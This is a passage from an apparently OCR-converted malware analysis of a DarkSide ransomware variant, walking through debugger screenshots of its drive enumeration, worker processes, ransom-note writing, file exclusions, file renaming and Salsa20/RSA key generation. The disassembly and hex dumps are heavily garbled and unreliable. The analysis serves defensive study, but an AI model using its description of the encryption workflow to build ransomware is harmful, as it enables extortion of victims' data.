D019F9BC
00000000
00000000

The only action the thread does is using the GetLogicalDriveStringsW API to retrieve the valid drives on the local

machine:

push dword per ds: [ebx+s]
push dnord ptr ds: [ebxts
Fd ptridss[<aGetiogicalDrivestringsw>]

FF 73 04

FF 15 68 07 42 00

w
Dafault (stdcal)

XB7SW_SF O x87SW_P 0 XB7SW_U 0O

~[5 2]k

dword ptr [00420768 <darkside.a&GetLogicalDrivestringsw>]=<kernel32.GetLogicalDrivestringsw>

.TEeXT:00407570 darkside.exe:$7570 #6970

[1: [esp] oooo0104

[esp+4] 0019F9F8

[esp+8] 04AOFF24

[esp+C] _76A7B654 kernel32.76A78654
[esp+10) 0019F9BC

WWoump1 g pump 2 & watch 1

Figure 110

WWoump3  Whpump4 W Dumps ellocals & Struct SRS

104

00000,
nn1aEaEa

If a volume doesn’t have a drive letter associated with it, then the ransomware does that using the

SetVolumeMountPointW API, as highlighted in the following picture:

FF 75 0C
8D 45 F8

00407662 push dword ptr ss:ebp+Cl
4 Tea eax,dword per ss:fiebp-cl
push ea:

50
FF 15 AC 07 42 00 call mpurd pEtr @S [<@SetvolumeMountPointws]

[ebp+C

eax:L"

XB7SW_CL O XB7SW._CO O
XB7SW_SF O XB7SW_P 1

X87SW_ES 0O
X87SW_U O

v
Default (stdcall)

~ [5 [2] ] unlock
esp] DO19FCOD L*Z:

dword ptr [D04207AC <darkside.&SetvolumeMountPointW>]=<kernel3z. SetvolumeMountrol ntws

.TEeXT:00407675 darkside.exe:$7675 #6A7S

esp+4] ODLIFCEC L"\\\\"\\VD]ume{d?e-ﬁ'az‘) 0001
esp+8] OOL9FECH

s w o

esp+C] DOL9FCEC L"\\\\?\\volume{d7e47829-000i
esp+10] O013FBA4

@oump1  @pump2  Wpump3  Wpumps  EWpumps @ watch1  brellocals | 4 Struct DOIORSED| DDLOFCEC

Figure 111

The malicious process targets the following types of drives - DRIVE_REMOVABLE (0x2), DRIVE_FIXED (0x3)

and DRIVE_REMOTE (0x4):
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Ll e =]

Jtextieeda7ADe

Ltext:88487AD6 loc_487ADG:

Jtext: 88487406 push esi
Jtext:ee4878D7 call GetDriveTypel
SJext:ee4a7ADD cmp eax, 3
.text:804687AE0 jz short loc_4@7AF8

:Iﬁ

Ctext:eedavAE2? cmp edx, 2
Jtext:88487AES jz short loc_4@7AF@
|
=
Jtext:eeda7AET cmp eax, 4
| Ltext:@0407AEA jnz loc_487BOF

Figure 112

The CreateFileMappingW function is used to create a named file mapping object (name “Local\\job0O-<Process Id>"

means the object is created in the session namespace):

. 50 push eax eax:L"
. 68 00 80 00 00 push 8000 x87statusword 0020
. GA 00 push 0 XB7SW_BE O XB7SW_C3 O XB7SW_C2 O
. 6A 04 push 4 XB7SW_C1 O XB7SW_CO O XB7SW_ES O
. 6A 00 push 0 XB7SW_SF O XB7SW_P 1 XB7SW_U o
. GA FF push FFEFFFEF
EE— FF 15 8C 07 42 00 €all dword ptr ds:[<&CreateFileMappingw>] Iw
. , | Default (stdcal) ~ |[5_2] [ unlock
1: &s)
dword ptr [0D042078C <darkside.&CreaterileMappingw-]1=<Kernel3z.Createrilemappingws 2: EESELI 00000000
3: [esp+8] 00000004
. 4: [esptC]_00000000
. text:00407160 darkside.exe:$716D #6560 S: [esp+10] 00008000
@Woump1 | @oump2  WMpump3  Woumpa  Wpumps @ watchi  ellocals ) stuct DOLOPCED | 00000000
agiress | s Jascsz | e e
0019FDEC | 4€] 00 6F 00|63 00 61 00[6C 00 5C O0[6A 00 6F 00|E.o0.c.a.l.%.j.o. D0L3FCFC | 0000
0019FDFC €2 0D 30 00|20 00 32 00|30 00 39 00|26 00 00 00[b.0.-.2.0.9.6... memnaislhaliaiie o s

Figure 113

The binary maps a view of the file mapping into the address space of the process by calling the MapViewOfFile
routine (0xf001f = FILE_MAP_ALL_ACCESS):

68 00 80 00 00 push 8000 R/BLALUSNUTG UUZY
6A 00 push 0 X87SW_B 0 x87SWC3 O XBISW.C2 0
6A 00 ush 0 X87SW_C1 0 X87SW_CO O XB7SW_ES O
68 1F 00 OF 00 push FOO1F XS7TSW_SF 0 X87SW_P 1 XBTSW_U O
53 push ebx
[EIF, FF 15 90 07 42 00 €@l dword ptr ds:[<aMapViewdfFile>] Iw
3 |Default (stdcal) ~ |[5_2] [ unlock
1: [esp] 00000324
dword ptr [00420790 <darkside.&MapViewOfFile>]=<kernel3z.MapvienOfrile> 2t Esglﬁ O0OFOD1F
3: [esp+8] 00000000
5 L ) 4: [esp+C] 0Oo0DODOO
.TEexT:00407180 darkside.exe:$718D #E58D 5: [esp+ld] 00008000

3 00000324

Woumpi  @pump2  WHoump3  WHoumpa  Whoumps @ warch1i  Dellocals ) stuct | [Desomcia| 000PODIE
D019FCF8

ggg;:;:c E(Exnu &F 00]63 0D 61 00|6C 0D 5C DO|GA 00 6F unltsglz o I * | u13ecee | ooononoo

ki s et o ok S e e e e s e b . e b Bl ©0013FDOO | D00DEDOO

Figure 114

A named event object called “Local\\job0-<Process Id>-Event” is created by the binary:

. 50 push eax eax:L" XB7SW_B 0 xB875W_C3 0 x875wW.C2 O
. 6A 00 push 0 XB75W_C1 O xB75W_CO O x87SW_ES O
. BA 01 push 1 XB7SW_SF 0 XB7SW_P 1 x875wW_U ]
. 64 00 push 0 i
[EIP; FF 15 D4 07 42 00 call Mrd ptr ds:[<aCreateEventw:>] "]
. o Fiss nerault(sn;ia\n ~|[5_[2]0] unlock
esp

= 1:
dword ptr [004207D4 <darkside.&CreateEventWs]=<kernel32.CreateEventis 2: [esp+a] 00000001

3: [esp+r8] 00000000

4: [esp+C] OD19FDAC L"Locall\job0-2096-Event”
5:

.TEXT:00407228 darkside.exe:§7228 #6628 espt+10] 0040B2BD <darkside.EntryPoint>

& 00000000
Wpump1 | @lpump2 @loump3  @loumps  @loumps @ watchi  Ixsllocals g Struct DD1SFCFS | 00000001
| Adaress [ nex = I ~ 155157565 Sotormac

Figure 115

L"Local\\iob0-2096-Event™

The ransomware launches itself with 3 parameters, and the new process will execute the encryption operations:
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o) push eax = & XB7TW. 0 3 (Empty) x87TW_1 3 (Empty)
?g 85 24 FE FF FF 15:h52:§dwmd ptr ss:[febp-10c X87TW2 3 (Empty)  x87TW.3 3 (Empty)
ShiaD bush o X87TW_4 3 (Empty) x87TW.5 3 (Empty)
6A 00 push o XB7TW_6 3 (EmMpTy) X87TW_7 3 (EmpTy)
oA 04 push 4
6A 01 push 1 x87statusword 0020
6A 00 push 0 XB7SW_B 0 XB7SW_C3 0 X87sw.Cz 0O
6A 00 push 0 X87SW_C1 0 XB7SW_CO O X87SW_ES O
FE 75 FC push dword ptr ss:[febp-4] [ebp-4 XB7SW_SF 0 XxB7SW_P 1 X87SW_U 0
A 00 push O e Caos
FE 15 1C 07 42 00 €all dword ptr dsi[<ecreateProcessw-] v
T ,  |Default (stocal) ~|[5_12] 0 unlec
— 1t [es|
dword ptr [0042071C <darkside.&CreateProcessw-]=<kernel3z.CreateProcessw:> 2: E5314] 027A5 660 L"C:\\User‘s\-\\Desktup\\
3: [esp+s] 0OOOODOD
. 4i [esprC]_DDOODDOD
. text:D04073AC darkside. exe: S73AC #67AC e iR 1o onons00n.
" g ; " . = 3 00000000
Woup1  ghoump2  @HDump3  MDump4  WWDumps @ warh1  Iv-llocas 4 P foa1ofcEol oazaseen |Lc:\\users\[Ml\\Desktoph\darkside. exe -work workerd jobo-2096"
‘0019FCE4 | 00000000
Sgg;:::o "“ Ai.li m | oo19FcES | 00000000
027A5670 ‘0019FCEC | 00000001
AL 0019FCFD | 00000004
AT D019FCF4| D00DD00O
027A56A0 ‘0019FCF8| 00000000
e D019FCFC | D0197D28
AR e 0019FDO0| 0019FD18

Figure 116

OpenMutexW is utilized to open a named mutex called “Global\\T-job0-<Process Id>" (which doesn’t exist at this

time) — 0x100000 = SYNCHRONIZE:

FF 75 F8 push dword ptr ss:[febp-cj [ebp-8 || XB7SW_C1 O XBYSW_CO O XB7SW_ES 0
64 00 push 0 XB7SW_SF 0 XB7SW_P 0 XB7SW_U O
65 00 00 10 00 push 100000 e
EIP g FF 15 80 07 42 00 call dword ptr ds:[<OpenMutexw:] v
5 | Default (stcal) ~|[5 2] urlock
[esp] 001

00000
[esp+4] 00000000
[esp+8] 02773730 L"Global\\T-jobo-z096"
2 [esp+C] 02773C08
. text:00403CD4 darkside.exe: $3CD4 #30D4 [esp+1D] 0019FFCC

o) 00100000
@Woump1 | @loumpz  @Mpump3  @oump4  Bpumps @3 watch1  bellocals g Stuct @mmrsc’c 00000000
Addracs | oav Taerer T 7. 1l o019FE10| 02773730 | L"G10bal\\T-jobho-2096"

Figure 117

dword ptr [00420780 <darkside.&OpenMuUTExW>]=<kernel3z.Openvutexis

The event object created earlier is opened by calling the OpenEventW API (0x1f0003 = EVENT_ALL_ACCESS), as
displayed in figure 118:

® | 0040909E 50 push eax eax:L" X87SW_C1 0 x87SW_C0O O XB7SW_ES O
o| 00409D9F &A 00 push 0 XBTSW_SF O X87SW_P O XB7SW_.U O
® || 004090A1 68 03 00 1F 00 push 1F0003 = A
EE—» FF 15 D8 07 42 00 €all dword ptr ds:[<&OpenEventiw:] .
. 3| Default (stdcal) ~ |[5_[+](J unlock
= 1: [esp] 001F0003
dword ptr [004207D8 <darkside.&OpenEventw:>]=<kernel3z.0penEventw:> 2: [esp+4] 00000000
3: [esp+8] DD19FE14 L"Local\\jobo-2096-Event"
: 4: [esptC]_OOGFDODAC
. text:004090A6 darkside.exe: S9DAG #91A6 s5: [esp+10] 00610063
001F0D03
Woump1  @hpump2 WyDump3  @Woumps  @Woumps @ watch1  Ie-llocals P struct mmngoc ikt
e Tacres i 7.l oo19FE10 | 0019FEL4 | L Local\\ Tobo-2096-Event”

Figure 118

The file creates an 1/0 completion port that isn’t associated with a file handle, which will be used by the main thread

to send data that will be encrypted to worker threads:

® || 0D406F0A 50 push eax XB7SW_B 0O Xx87SW_C2 0O XB7SW C2 O

® || 00406F0B 6A 00 push 0 XB75W_C1 0 x87SW_CO O XxB7SW_ES 0O

® || 00406F 0D 6A 00 push o XB7SW_SF O X87SW_P 0 XxB7SW_U o

® || 00406FO0F 6A FF push FFFFFFFF I =

. FF 15 48 07 42 00 call dword ptr d v _

. = , | Default (stdcal) ~+|[5 2] unlock
=

dword ptr (00420748 <darkside.&CreateloCompletionPort>]—<Kernelsz.createloCompletionForts

[esp]

[esp+4] 00000000
[esp+s] oooooooo
[esp+C] 00000002
[esp+10] oo000274

Vi

.text:00406F11 darkside.exe: $6F11 #6311
& FFFFFFI

Woump1 | @loump2 @pump3 @oumps  @Woumps @ watcht  bellocals Y Stuct D019FCED | 00000DOD

Address | Hex : g . [ ascir ! 1~ H Go19rCES | 00000002

Figure 119

Two different threads that will take care of the files’ encryption are created using the CreateThread routine:

. 64 00 push 0 x87r6 00000000000000000000 ST6 Empty 0.000000C
. 6A 00 pus: o x87r7 00000000000000000000 ST7 Empty 0.000000C
@ 6A 00 push o
. 68 7C 5E 40 00 push darkside. 405€7C xs7Tagword FFFF
. gﬁ gg SER g XKB7TW_0 3 (Empty)  X87TW_1 3 (Empty)
- x87TW_2 3 (Empty) x87TW_3 3 (Empty)
T :
—>e BodcezaE = R ] ;:l;dmrd pEr dsT[<acreateThreads] Slep A el B R
o| 00406F 45 FF 45 FC inc dword ptr ss:([ebp-4l] X87TW_6 3 (EmpTy)  X87TW.7 3 (Empty)
. 6A 00 push 0
. 6A 00 push o x87Statusword 0000
. 64 00 push 0 X87SW_E O X87SW_C3 0 X87SWCZ O
. 68 7C 5E 40 00 push darkside. 405€7C xB7SW_C1 0 X87SW_.CO 0 xB7SW_ES 0
. 6A 00 pusR o XB7SW_SF O X87SW_P 0 XB7SW_U 0
. 6A 00 push o .. =
. FF 15 20 07 42 00 €all dword ptr ds:[<&CreateThread>] v
. e ===t , | Default (stdcal) »|[s 2] unke
R 1: [esp] 00000000
dword ptr [00420720 <darkside.&createrhread-]=<Kernelsz.Createlhreads 2t Esgl,,] 00000000
3: [esp+8] 00405E7C darkside.0D405E7C
3: [esp+c]_ 00000000
.TEeXT:00406F3E darkside.exe:$6F3E #633E 5 Esgﬂ%] 00000000
WWoump1  Wpump2z  WWoump3  WWDump4  Woumps @ watchi  [ellocal P Struct
address | Hex [ascIT darkside. 00405E7C
02610000 [5E! 00 5C DO[3F 00 5C 00[43 00 3A 00[5C 00 00 0O[N.\.7.\.C
02610010| 00 00 00 00|00 0O 0O 00|00 0O 0O 00|00 00 00 O0.

Figure 120

Page 37 of 52



https://cybergeeks.tech/astep-by-step-analysis-of-a-new-version-of-darkside-ransomware/

The ransom note README<RansomPseudoValue>.TXT is created and populated in every directory the malware

encrypts:

. push o
. F4 lea eax,dword ptr ss:[febp-cl [ebp-C x875tatusWord 0000
M push eax XB7SW_B 0 XB7SW C3 0 XB7SW C2 O
. 10 push dword ptr ss:|febp+10] XB7SW_CL O XB7SWCO O XB7SWES 0
. oc push dword ptr ssife hp+(] XB7SW_SF O XB7SWP O XB7SWU 0O
F& RS B O
EE——>e 30 07 42 00 ca’ r 52 [<awriteriles v = — =
L. - e , | Default (stcal) ~ |[5_2] [ uniock
dword ptr [00420730 <darkside.&writerFile>]=<kernel3z.writerile> 2 E::gln‘] 0277;505
3: [esp+8] 0D0DOOCDD
5 4: [esptC] ODL9FBLE
.text:D0401DBC darkside.exe: $1DBC #11BC 5: [esp+10] 00000000
3 IEEEETRR 0000007
Woump1  Ploump2  WHoump3  WWDump4  WWoumps @ watth1  belleals 4 stuct DAL R Bl
R ] 0019F7Fs D
0277A508 2D 2D 2D 2D (2D 2D 2D 20|5B 20 57 6! gi::;g m
0277A518 65 20 74 GF|20 44 61 72|68 53 69 64 I RE R DO E
0277A528 2D 2D 2D 2D (2D 2D 2D 2D (2D 2D 2D 2D 0019F 308 | 02610000 | L™\\\\TANC A"
0277538 OA 20 20 0D|0A 20 57 68|61 74 20 &8 i HCs | PeEEr oo £
0277A518 6E 64 3F 20(0D 0A 20 20|20 2D 2D 2D 0019F310 | 02774508
6577aces 25 35 50 5|2 b b 25| b b b DToE 813 |oonconoo
0277578 2D 20 2D 20|2D 20 OD 0A[20 59 &F 75 You Dl L R 8L REERCIDN e
0277A588 &L 5 74|65 72 73 20|61 6E 64 20|r cnmputer’s and 0019F320 | 00000000
0277598 6 72 73 20|61 72 65 20|65 GE 63 72|servers are encr S et
D27zRbad GapEC D62 [B1 (63 RALTS (DI 20 IBT VDTS subackiinain 00137325 [00406972| return to darkside.00406972 from darkside. 004t
2 004103F8| L"README . 9542b900. TXT"
0277A5C8 74 72 6F GE|67 se strong encryp 0277A508|
0277A5DS 20 61 6C 67 |GE 72 69 74 tion algorithms, 00000CDD
0277A5E8 79 6F 75 20|63 61 GE GE|GF 74 20 64| S0 you cannot d St
0277A5F8 70 74 20 79|6F 75 72 20|64 61 74 61 e:l’ypt your data 02610000| L™ \\\\TANC "
0277A608 20 79 6F 75|20 63 61 GE|. .. But you can 02610010 f
0277A618 74 6F 72 65|20 65 76 65|72 79 74 68 r’estm’e everyth 00000000
0277A628 z 75 72 63 68|61 73 69 GE|ing by purchasin S Sasii]
0277A638 73 70 65 63|69 61 6C 20|70 72 6F 670 a 5985151 prog v € >

Figure 121

The process doesn’t encrypt some certain files, as displayed in the next figure:

®| D0406ACS FF 75 08 push dWDV‘d ptr ss: {Ebp*b] ebp+8 XB7SW_SF O X87SW_P 0 XB7SW_U o ‘
# [oodasAC EE BElites Sk e |
FF 15 80 06 42 00 call Mrd PEF S5 [ <&wcsicomps] w e -
S e , | Default (stcal) -
~ - — 1: [esp] 027790686 L autorun.int”
dword ptr [00420680 <darkside.&ncsicmps]=<ntdll.wcsicmps 2: [espis] ODISEAAS L"SKINRE_SACKUP_PARTITION.MAR
3: [esp+8] OD19FDO!
M 4: [esp+C 02510000 L™ PANCW
. text:00406ACD darkside.exe: S6ACD #5ECD 5: Esgﬂg.] 2000 LN NG
o) 02779068 [L"autorun.inf™
@Woumpi | @oumpz  @Hoump3  Wpump4  BWpumps @ wathi  Ix-llocals 4 Stuct 0D15EAAD | 0D19FAAR | L™ SWINRE. BACKUP_PARTITION. MARKER" 4
P 0019FA44| 0019FDO8
00 75 00|74 0D 6F 00|72 00 75 OO(6E 00 2E 00 Wr. ggiai:\jg ggiégg?g LENAAZANCEAY
00 6E 00|66 00 00 00|62 00 6F O0|6F 00 74 00 .b. DDlEFISD 06887356
00 69 0D|6GE 00 €9 00|00 00 62 DO(6F 0O &F 0O e - "
00 66 00|6F 00 6E 00|74 00 2E 00|62 00 &9 00 ggi;g:;; gg;g;ggg URERENRE SRAGE I EARETETUN . MPRKER;

00 00 00|62 00 6F 00|6F 00 74 00(73 00 65 0O
00 74 00|2E 00 62 00|61 00 6B 00|00 00 &4 0O
00 73 00|6B 00 74 00|6F 00 70 00|2E 00 69 00
00 69 00|00 00 69 00|63 00 6F 0OO|6E 00 63 00
00 63 00|68 00 65 00|2E 00 64 00(62 00 0O 0O

0019FASC
0019FAGD
0019FAG4
0019FAGS

0019FCDC (return to O019FCDC from 081C7452
00406DA8| return to darkside.00406DA8 from darkside.oodt
OD19FAAS| L" $WINRE_BACKUP_PARTITION.MARKER™
0019FD08

00 74 00|6C 00 64 00|72 00 00 0O|6E 00 74 00 N eoaco|nzesnoonlit AR

00 73 00|65 00 72 0O|2E 00 &4 00|61 00 74 00 ! 2 :

I0LLI o0 6a 00 72 D0 |2k oD el oojeT o0 e 00 ZEEEUNCZ| FekAin 19 kernelbase.76E6CBC2 from kernelbase.
00 61 00|74 00 2E 00|6C 0D &F 00|67 0D 00 0O 00000022

00 74 00|75 00 73 00|65 00 72 0O|2E 00 €9 00 AS47E25D

00 69 00|00 00 74 00|68 00 75 00|€D 00 62 00 D1D3BAAF

W3S camIMNIA

02779E58(73 00 2E 00|64 00 62 0000 00 00 00[00 00 AB AB

Figure 122

A list of file extensions decrypted at the beginning of the execution is also excluded from the encryption process:

#| 0030686 53 push ebi X87SW_SF 0 xB7SW.P O 0
o[ 0oso6aes 56 push esi
FF 15 80 06 42 00 call dword ptr ds: [<&wcsicmp>]
. e S efauit (stdcal) -
e == o
es| 02779E8B0 L"386
dword ptr [0D420680 <darkside.&wcsicmps]=<ntdll.wcsicmps {2531..] 0019FADS L"MARKER"
[esp+8] 0019FDOS
! esptC] 02610000 L™\\\\7ANCI\\"
. Text:00406A6C darkside.exe: SGAGC #5EEC Eesgﬂg] xR
3 02779E80
@Wourpt  @Youmpz  WWDump3  @Wpumpa  WWDumps @ wath1  Illocls P Stuct '0015EAZD]| 0D19FADS | L"MARKER™
Address | Hex o a on D e e
02779E80 |28 00 38 00|36 00 00 00|61 00 64 00|76 00 00 OO|B. .a.d.v ey e A2
02779E90(61 DO GE 00|69 OO 00 00|62 DO 61 00|74 OO 0O OD|a. LB 00L9FASC| 06887356
02779EAD| 62 00 69 00|GE 00 00 00(63 DO 6L 00|62 00 00 0O b. .c.a.b . o v m
02779ERO(63 00 60 00|64 00 00 00|63 00 6F 00|60 00 00 0O|c. .c.o.m i o I DN SRR
cepl o et i s i L et et SEohan 001SFASC | 0019FCDC | return to O019FCDC from 081C7452
B z : s 0019FAGD [00406DCO| return to darkside.00406DCO from darkside.004(
02779EE0| 65 00 70 00|61 00 63 00(6B DO 0O 00|64 00 €9 0O e. Ao nTaca 64| DOASEAAE LN e E LA RLIE AP AR T T TN MARK RS
02779EF0(61 00 67 00|63 00 &1 00|62 00 00 00|64 00 69 00| a. .b...d oo19racs | 0019FDOS!
02779F00| 61 00 67 00|63 00 66 0DO(67 DO 0O DO |64 DO €9 00| a. S BHLAEr |1t anms A AR
02779F10(61 00 67 00|70 00 6B 00|67 00 00 00|64 00 &C 00| a. TR 00197470 || 0019FAES| S
02779F20| 6C 00 DO 00|64 00 72 00|76 DO 0O 00|65 0O 78 DO|1 SRR '.‘, : 5 :
02779F30(65 00 00 00|68 00 &C 00|70 00 00 00|63 00 63 00| e. Epied il e KErnglimss: CICSENEE I K r e T una Y
02779F40|6C 00 D0 00|69 00 63 DO|GE DO 73 00|00 DO €9 00|1...1.c.n.s. Tt lootonaey
02779F50(63 00 6F 00|00 0D 69 00|63 00 73 00|00 00 69 00|cC.0...i.c.S. oo1oraa0 | A5 475250
02779F60| 64 00 7B 00|00 00 6C 00|64 DO 66 00|00 DO &C 00|d.x...1.d.f. skl et
02779F70|6E 00 68 00|00 00 &0 0O0|&F 00 &4 00|00 00 &0 00|n.k...m.o.d. 0015Fa5s | AZ475 250
02779F80(70 00 61 00|00 00 & 00|73 00 63 00|00 00 6D 00|p.a...m.s.c. oo1oraac | 01D3BAAR
02779F90|73 00 70 00|00 00 6D 00|73 0O 73 00|74 0O 79 00|s.p...m.s.s. it R
02779FAD(6C 00 65 00|73 0O 00 00|6D 00 73 00|75 00 00 OO|1.e. m.s. Antacnaall nanapare
02779FBO| GE 00 6C 00|73 00 00 DO|6E DO &F 0O0|&D DO &5 00|n.1.s...n.o. wl< >
227acenl 24 oo 2 2 2 i b

Figure 123

Every targeted file is opened and read using the CreateFileW and ReadFile functions:

00406164 &a 00 push © Ao/ im_o 3 LEmpLy)  ASsim_s 3 \SHLY)
00406166 68 80 00 00 DA push A000080

64 03 push 3 x875tatusWord 0000
64 00 push 0 XB7SW_B 0 XB7SW.C3 0 x875W. C2 0
64 00 push 0 XB7SW_CL 0 XB7SW_CO 0O x875W_ES 0
&8 00 00 00 CO push C0000000 XB7SW_SF 0 XB7SW_P O X87SW. U O
FF 75 08 push dword ptr ss:|[febp+sl [ebp+8

E— FF 15 2C 07 42 00 call dword ptr ds [<&(reateF11Ew>]

v
| Defaut stdcall [5 =] 07 uniock

———r a— 02776F40 L' C 706d7fdbzede4dses
Gword ptr [0042072C <darkside.&createrilews]=<Kernalsz.Createrilens {:glﬂ T — —

.text: 00406179 darkside.exe:$6179 #5579 [esp+10] 00000003
) 1\\1025' Ta.rcf™
@Woumpi  @Ypump2  @Woumpz  Wpumpa  WhDumps @ wath1  x-llocals ¢ Stuct Nigesieane
Address | Hex

02776F40|BE| 00 5C 00
02776F50(30 00 36 00
02776F60(65 00 64 00

3F 00 5C 00
64 00 37 00
65 00 34 00

43 00 3A 00
66 D0 64 0O
64 00 38 00

5C 00 37 00
62 00 32 00
65 00 39 00
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Figure 124

— Rerine s Lewplys  Aesim_s s Lewpiys
F4 lea eax,dword ptr ss:[ebp-CJ [ebp-C
push eax x87statusword 0000
00 00 00 push 2 X87SW_B 0 XB7SW_C3 0 x87sw_Cz2 0O
64 FF FF FF lea eax dword ptr ss:|[Jebp-acl X87SW_C1 0 XB7SW_CO 0O X87SW_ES O
push e XB7SW_SF 0 XB7SW_P 0  x87sW_U o
F3 push dwﬂrd ptr :[febp-sl =
34 07 42 00 call dword :[<&ReadFile>] v
—— , | Default (stdcal) =[5 [2][] unlodk
dword ptr [00420734 <darkside.&Readrile>]—<kernels2.ReadFiles> [Espl.,] 0O019F47C
[esp+8] 00000090
esp+C] 0019F50C &L™ \\C: 706d7fdbzedesd
.TEXT:0040622F darkside.exe:$622F #562F 3 Egsgﬂ%j 00000000 AAMAR AN

o) 000002E4
UWoump1  @loump2 @loump3  @loumps  @loumps @ watchi  Ix=llocals ' Struct DD19FaTC
Address | Hex IAEI] I =
€O F4 19 Qn|;§ ZC EQ ;§|a; Fd 19 Qn|EF DE 4D 00 i ‘

000000390
0019F50C | &L™\\N\TANC: \\706d7 Fdb2ede4dBeo1\\1025\\eula. rtf"
00000000

Figure 125

The file extension is changed to also include <RansomPseudoValue>, as shown below:

FF 75 FO push dword ptr ss:[febp-10J [ebp-1
FF 75 F4 push dword ptr ss:|[febp-cf] [ebp-C
EIP, FF 15 18 07 42 00 Clﬂ] dwurd ptr ds:[<&MoveFileExn>] v
= 5 |Default (stdcal) ~|[5_2][] unlock

esp] 02776F40 L \\\\ZN\\C:\\706d7FdbzededdBes
espra] 02763538 LWALPNACE \\706d7 Fdb2ede4dE
esp+8] 000000

esp+C] 00157D08

esp+1d] 0000001F

y ; i 5 : = €1\\70607Tdbzede4d8e91} 1025 \eula. ref"
Woumpt  @Dump2  @WDump3  WWDump4  WWDump5 @ Wath1  x-llocas 4 Struct m'u'\\\\7\\c \\706d7fdb2ede4d8e914\ 1025\ eula. rtf. 9548b300"

Figure 126

dword ptr [00420718 <darkside.&MoveFileExw>]=<kernel32.MoveFileExn>

.text:004063E0 darkside.exe: §63E0 #57E0

There is a second function call to CreateloCompletionPort that associates the existing /O completion port with the

FileHandle parameter:

: [febp-3]
FF 15 48 07 42 00 €all dword ptr Sk [<¢Createlocompletionport]

w =
T ———— 5 |Default (stdcal) ~|[5_2] [ unock

dword ptr [00420748 <darkside.&CreateloCompletionPort>]=<Kernelsz.CreateIocompletionPorts

i 0040640F 6A 00 push 0

3 00406411 6A 00 push 0

{ 00406413 FF 35 18 0A 42 00 push dword ptr ds:[420A18]
| o 00406213 FF 75 F8 push dword ptr ss:feb

[esp+C] 00000000
: [esp+10] 0019FDOS

.text:0040641C darkside.exe:$641C #581C

o) 00000ZE4

@Woumpi  @§pump2  @oump3  WMpumpa  @WHDumps @ warch1 | -llocak | & Stuct  [GOTSRETS|0000D2SC
D019F51C

e S - T ~ | 3015220 aonoaoad

Figure 127

The RSA public exponent and the RSA modulus will be used in the encryption process of the Salsa20 matrix, as we’ll

describe later on:

(lD4(.C5"" 50 push e
065 2 8 01 Tea eax Sckvor i pr - [Era]
50 push &
8 43 74 Tea eax S chvord | ptr @8: [ehke7e]
50 push

E8 E1 ED FF FF

darksme 405317 v =

5 | Defaut (stdcal) » s EH 0w
[esp] 027ACOA4
[esp+4] 00410250 darkside.00410250
[espt8] 00410200 darkside.004102D0
[esp+c]_0019FD0S.

darkside. 00405317

. text: 00406531 darkside.exe:$6531 #5931 s [esp+10] 0000001F
P 027ACOA4
Woump1  @loumpz  Woump3  @oumps  @loumps | @ watcht | bellocals | ) stuct  [BOISREIC| 00410250 | darkside. 00410250
ASCIT ~ | o012F520| 00410200 | darkside. 00410200
00137524 D019FDO3
00 01 00|00 00 00 00|00 0000001F
00 00 00|00 00 0O 00|00 0019F474
00 00 00|00 00 00 00|00 05887356
00 00 00|00 00 00 00|00 DO19F5A0 | L™ T
00 00 00|00 00 00 00|00 S
BO ot odl 100 D0 o0 g Do 02763538 | L" \\\\v\\c \\?Dsd?fdbzedeqdaeBl\\luzs\\eula rtf.954eb30
st delletiat i sl 02776F40 | L™\ A\ WP\ C1\\7oed7fdb2edesdses1’\ 10254 \eula. ref"
0| oooonze4
00 00 00|00 DO 00 00|00 0019F544 | 00000000
26 75 3E|87 15 D3 28|B1 10195548 | 0019F7D 4
D2 08 AD|1C 2F AA DO 2C : =
pzfonian 1ler m nn oo BOTSESH DGAIEOEE ke £ e ks AR DN K ot itk B wicazn
00197550 | 0019F540| L"eula.
E5 4F 07|67 42 65 ED|CS 0019755 4 | 00003459
20 2A E9|AC 90 8D 03 (B3 00157555 | 00000000
19 08 57 |OF 61 OE 20|4C 0019752C || 027780C8| L™\\\\P\NC 1 \\7 0607 fdb2ede4d8es1\\1025 "
F2 D8 61|CA C4 Al 81|60 0 3| o 08 2
00410340|BC €2 E8 B9I44 13 5F 64l7D e

Figure 128

The ransomware checks to see if the RDRAND and RDSEED instructions are supported by the processor. If that’s the
case, it will use one of them to generate 56 random bytes, and 8 NULL bytes are added to the resulting buffer (Salsa20
matrix -> custom Salsa20 implementation). If none of these are supported, the malware uses the rdtsc instruction to

generate deterministic timestamps that will provide a 64-byte Salsa20 matrix:
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| 5=

Ltext:ead4adBD2

Ltext:ead4e4B802

Ltext:ead4e4BD2

Jtext:00404BD2 sub_4@4BD2 proc near
Jtext:@ae404B02 push ebx
Ltext:@e404B03 push eCx
Ltext:@ee404BD4 push esi
Ltext:8e484BD5 push edi
.text:8e484BD6 push 1
Ltext:8e484808 pop eax
.text:88484BD9 cpuid

text:88484BDE test ecx, 486882888h
Ltext:@88484BE1 setnz al
Ltext:BB484BE4 test al, al
text:88404BE6 jz short loc_484BF@

il s =

Ltext:eed4e46F8

Ltext:88484BF8 loc_ 4B4BFE:
text:B8484BF8 push 7
text:8e484B8F2 pop eax
.text:88484BF3 xor ecx, ecx
.text:80404BF5 cpuid
Ltext:98484BF7 test ebx, 48888h
Jtext:80404BFD setnz al

Ltext: 98404008 test al, =zl

Jtext:eed4o4C02 jz short loc_484CeC
\ z 1
L. :
FIZIE]
BEB rdrand eax .text:084084C84 rdseed eax .text:8e484C0C
BEB rdrand edx Jtext: 80484087 rdseed edx Jtext:@ed4e4CeC loc_4e4Cac:
BEE jmp short loc_484C1C| |.text:08484C05 jmp short loc_484C1C) (.text:08484C0C rdtsc
Ltext:ee484C0E mov ecx, eax
Ltext:98404C16 ror ecx, @Dh
Ltext:8eq4e4C13 rdtsc
Ltext:9e484Cls mov edx, eax
Ltext:9e484C17 rol edx, @Dh
text 88484018 mov eax, ecx
Figure 129
Address | Hex ASCII

D27ACO64 | CF C8 3A B9\ AD 9F 53 EB |84 B8 FD 73 (04 F9 62 41 g .SE.*js.uhA
027ACO74(12 F8 F1 SB|OE 29 80 90|57 E2 32 AC|BC 23 2A 14| .@n[.)..waz-4s*.
D27ACO84 (00 OO 0D 00|00 OO OD OO|32 FD 52 F2|(EB 47 F& F6| ... unn 2yR.r 8G0OG
027AC0D94 |45 4F OF 66|F5 FA 17 54|3C E6 D5 6C|AE 21 34 6C|EOQ.Tdl.T<mb19 141

Figure 130

The thread poses a custom implementation of the RSA-1024 algorithm (it doesn’t rely on Windows APIs). Basically,
the data d will produce a ciphertext = (d"exponent)%modulus. The raw modulus calculation is performed using

addition and subtraction and part of the implementation is presented in the following figures:
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.text:80485258 sub 485258 proc near
